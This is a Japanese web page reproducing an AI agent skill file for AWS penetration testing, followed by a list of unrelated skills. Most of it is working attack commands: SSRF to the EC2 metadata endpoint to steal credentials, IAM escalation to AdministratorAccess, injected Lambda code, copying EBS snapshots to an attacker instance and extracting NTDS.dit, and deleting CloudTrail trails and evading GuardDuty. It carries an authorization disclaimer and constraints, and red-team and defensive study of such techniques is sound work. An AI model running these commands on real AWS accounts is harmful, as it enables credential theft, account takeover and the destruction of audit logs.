aws-penetration-testing
AWSクラウド環境に対するペネトレーションテストの包括的な手法を提供します。IAMの列挙、権限昇格、メタデータエンドポイントへのSSRF、S3バケットの悪用、Lambdaコードの抽出、レッドチーム演習における永続化技術などを網羅しています。
description の原文を見る
Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
SKILL.md 本文
認可された使用のみ: このスキルは認可されたセキュリティ評価、防御的検証、または管理された教育環境でのみ使用してください。
AWS ペネトレーションテスト
目的
AWS クラウド環境のペネトレーションテストに関する包括的な技法を提供します。IAM列挙、権限昇格、SSRFメタデータエンドポイント、S3バケット悪用、Lambda コード抽出、レッドチーム運用向けの永続化技法をカバーしています。
入力/前提条件
- AWS CLI が認証情報を使用して構成されている
- 有効な AWS 認証情報 (低権限でも可)
- AWS IAM モデルの理解
- Python 3、boto3 ライブラリ
- ツール: Pacu、Prowler、ScoutSuite、SkyArk
出力/成果物
- IAM 権限昇格パス
- 抽出された認証情報とシークレット
- 侵害された EC2/Lambda/S3 リソース
- 永続化メカニズム
- セキュリティ監査結果
必須ツール
| ツール | 目的 | インストール |
|---|---|---|
| Pacu | AWS 悪用フレームワーク | git clone https://github.com/RhinoSecurityLabs/pacu |
| SkyArk | Shadow Admin 検出 | Import-Module .\SkyArk.ps1 |
| Prowler | セキュリティ監査 | pip install prowler |
| ScoutSuite | マルチクラウド監査 | pip install scoutsuite |
| enumerate-iam | パーミッション列挙 | git clone https://github.com/andresriancho/enumerate-iam |
| Principal Mapper | IAM 分析 | pip install principalmapper |
コアワークフロー
ステップ 1: 初期列挙
侵害されたアイデンティティと権限を識別します:
# 現在のアイデンティティを確認
aws sts get-caller-identity
# プロファイルを構成
aws configure --profile compromised
# アクセスキーを一覧表示
aws iam list-access-keys
# パーミッションを列挙
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
ステップ 2: IAM 列挙
# すべてのユーザーを一覧表示
aws iam list-users
# ユーザーのグループを一覧表示
aws iam list-groups-for-user --user-name TARGET_USER
# アタッチされたポリシーを一覧表示
aws iam list-attached-user-policies --user-name TARGET_USER
# インラインポリシーを一覧表示
aws iam list-user-policies --user-name TARGET_USER
# ポリシーの詳細を取得
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
# ロールを一覧表示
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
ステップ 3: メタデータ SSRF (EC2)
SSRF を悪用してメタデータエンドポイント (IMDSv1) にアクセスします:
# メタデータエンドポイントにアクセス
http://169.254.169.254/latest/meta-data/
# IAM ロール名を取得
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 一時的な認証情報を抽出
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# レスポンスには以下が含まれます:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2019-08-01T05:20:30Z"
}
IMDSv2 (トークン必須) の場合:
# トークンを最初に取得
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"http://169.254.169.254/latest/api/token")
# リクエストにトークンを使用
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Fargate コンテナ認証情報:
# 認証情報パスについて環境を読む
/proc/self/environ
# 以下を確認: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
# 認証情報にアクセス
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
権限昇格技法
Shadow Admin パーミッション
これらのパーミッションは管理者と同等です:
| パーミッション | 悪用方法 |
|---|---|
iam:CreateAccessKey | 管理者ユーザーのキーを作成 |
iam:CreateLoginProfile | 任意のユーザーにパスワードを設定 |
iam:AttachUserPolicy | 自分に管理者ポリシーをアタッチ |
iam:PutUserPolicy | インライン管理者ポリシーを追加 |
iam:AddUserToGroup | 自分を管理者グループに追加 |
iam:PassRole + ec2:RunInstances | 管理者ロール で EC2 を起動 |
lambda:UpdateFunctionCode | Lambda にコードをインジェクト |
別のユーザーのアクセスキーを作成
aws iam create-access-key --user-name target_user
管理者ポリシーをアタッチ
aws iam attach-user-policy --user-name my_username \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
インライン管理者ポリシーを追加
aws iam put-user-policy --user-name my_username \
--policy-name admin_policy \
--policy-document file://admin-policy.json
Lambda 権限昇格
# code.py - Lambda 関数にインジェクト
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
# Lambda コードを更新
aws lambda update-function-code --function-name target_function \
--zip-file fileb://malicious.zip
S3 バケット悪用
バケット検出
# bucket_finder を使用
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt
# 一般的なバケット URL パターン
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}
バケット列挙
# バケットを一覧表示 (認証情報あり)
aws s3 ls
# バケットの内容を一覧表示
aws s3 ls s3://bucket-name --recursive
# すべてのファイルをダウンロード
aws s3 sync s3://bucket-name ./local-folder
公開バケット検索
https://buckets.grayhatwarfare.com/
Lambda 悪用
# Lambda 関数を一覧表示
aws lambda list-functions
# 関数コードを取得
aws lambda get-function --function-name FUNCTION_NAME
# レスポンスにダウンロード URL が提供されます
# 関数を呼び出す
aws lambda invoke --function-name FUNCTION_NAME output.txt
SSM コマンド実行
Systems Manager は EC2 インスタンスでのコマンド実行を許可します:
# マネージドインスタンスを一覧表示
aws ssm describe-instance-information
# コマンドを実行
aws ssm send-command --instance-ids "i-0123456789" \
--document-name "AWS-RunShellScript" \
--parameters commands="whoami"
# コマンド出力を取得
aws ssm list-command-invocations --command-id "CMD-ID" \
--details --query "CommandInvocations[].CommandPlugins[].Output"
EC2 悪用
EBS ボリュームをマウント
# ターゲットボリュームのスナップショットを作成
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"
# スナップショットからボリュームを作成
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
# 攻撃者インスタンスにアタッチ
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
# マウントしアクセス
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
シャドーコピー攻撃 (Windows DC)
# CloudCopy 技法
# 1. DC ボリュームのスナップショットを作成
# 2. 攻撃者アカウントとスナップショットを共有
# 3. 攻撃者インスタンスでマウント
# 4. NTDS.dit と SYSTEM を抽出
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local
API キーからコンソールアクセス
CLI 認証情報をコンソールアクセスに変換:
git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY
# コンソールアクセスのサインイン URL を生成
痕跡の隠蔽
CloudTrail を無効化
# トレイルを削除
aws cloudtrail delete-trail --name trail_name
# グローバルイベントを無効化
aws cloudtrail update-trail --name trail_name \
--no-include-global-service-events
# 特定リージョンを無効化
aws cloudtrail update-trail --name trail_name \
--no-include-global-service-events --no-is-multi-region-trail
注: Kali/Parrot/Pentoo Linux はユーザーエージェントに基づいて GuardDuty アラートをトリガーします。ユーザーエージェントを変更する Pacu を使用してください。
クイックリファレンス
| タスク | コマンド |
|---|---|
| アイデンティティを取得 | aws sts get-caller-identity |
| ユーザーを一覧表示 | aws iam list-users |
| ロールを一覧表示 | aws iam list-roles |
| バケットを一覧表示 | aws s3 ls |
| EC2 を一覧表示 | aws ec2 describe-instances |
| Lambda を一覧表示 | aws lambda list-functions |
| メタデータを取得 | curl http://169.254.169.254/latest/meta-data/ |
制約
必須:
- テストの前に書面による認可を取得
- 監査証跡のためにすべてのアクションを文書化
- スコープ内のリソースのみをテスト
禁止:
- 承認なしで本番データを変更
- ドキュメント化されていない永続的なバックドアを残す
- セキュリティコントロールを恒久的に無効化
推奨:
- メタデータ攻撃を試みる前に IMDSv2 を確認
- 悪用前に十分に列挙
- エンゲージメント後にテストリソースをクリーンアップ
例
例 1: SSRF から Admin へ
# 1. Web アプリで SSRF 脆弱性を検出
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 2. レスポンスからロール名を取得
# 3. 認証情報を抽出
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
# 4. 盗まれた認証情報で AWS CLI を構成
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# 5. アクセスを確認
aws sts get-caller-identity
トラブルシューティング
| 問題 | 解決方法 |
|---|---|
| すべてのコマンドで Access Denied | enumerate-iam でパーミッションを列挙 |
| メタデータエンドポイントがブロック | IMDSv2 を確認、コンテナメタデータを試行 |
| GuardDuty アラート | カスタムユーザーエージェントで Pacu を使用 |
| 認証情報の有効期限切れ | メタデータから再フェッチ (一時的な認証情報はローテーション) |
| CloudTrail がアクション をログ | 無効化またはログ難読化を検討 |
追加リソース
Lambda/API Gateway 悪用、Secrets Manager & KMS、コンテナセキュリティ (ECS/EKS/ECR)、RDS/DynamoDB 悪用、VPC ラテラルムーブメント、セキュリティチェックリストを含む高度な技法については、references/advanced-aws-pentesting.mdを参照してください。
使用する時期
このスキルは、概要で説明されているワークフローまたはアクションを実行する場合に適用可能です。
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- sickn33
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/sickn33/antigravity-awesome-skills / ライセンス: MIT
関連スキル
superpowers-streamer-cli
SuperPowers デスクトップストリーマーの npm パッケージをインストール、ログイン、実行、トラブルシューティングできます。ユーザーが npm から `superpowers-ai` をセットアップしたい場合、メールまたは電話でサインインもしくはアカウント作成を行いたい場合、ストリーマーを起動したい場合、表示されたコントロールリンクを開きたい場合、後で停止したい場合、またはソースコードへのアクセスなしに npm やランタイムの一般的な問題から復旧したい場合に使用します。
catc-client-ops
Catalyst Centerのクライアント操作・監視機能 - 有線・無線クライアントのリスト表示・フィルタリング、MACアドレスによる詳細なクライアント検索、クライアント数分析、時間軸での分析、SSIDおよび周波数帯によるフィルタリング、無線トラブルシューティング機能を提供します。MACアドレスやIPアドレスでのクライアント検索、サイト別やSSID別のクライアント数集計、無線周波数帯の分布分析、Wi-Fi信号の問題調査が必要な場合に活用できます。
ci-cd-and-automation
CI/CDパイプラインの設定を自動化します。ビルドおよびデプロイメントパイプラインの構築または変更時に使用できます。品質ゲートの自動化、CI内のテストランナー設定、またはデプロイメント戦略の確立が必要な場合に活用します。
shipping-and-launch
本番環境へのリリース準備を行います。本番環境へのデプロイ準備が必要な場合、リリース前チェックリストが必要な場合、監視機能の設定を行う場合、段階的なロールアウトを計画する場合、またはロールバック戦略が必要な場合に使用します。
linear-release-setup
Linear Releaseに向けたCI/CD設定を生成します。リリース追跡の設定、LinearのCIパイプライン構築、またはLinearリリースとのデプロイメント連携を実施する際に利用できます。GitHub Actions、GitLab CI、CircleCIなど複数のプラットフォームに対応しています。
tracking-application-response-times
API エンドポイント、データベースクエリ、サービスコール全体にわたるアプリケーションのレスポンスタイムを追跡・最適化できます。パフォーマンス監視やボトルネック特定の際に活用してください。「レスポンスタイムを追跡する」「API パフォーマンスを監視する」「遅延を分析する」といった表現で呼び出せます。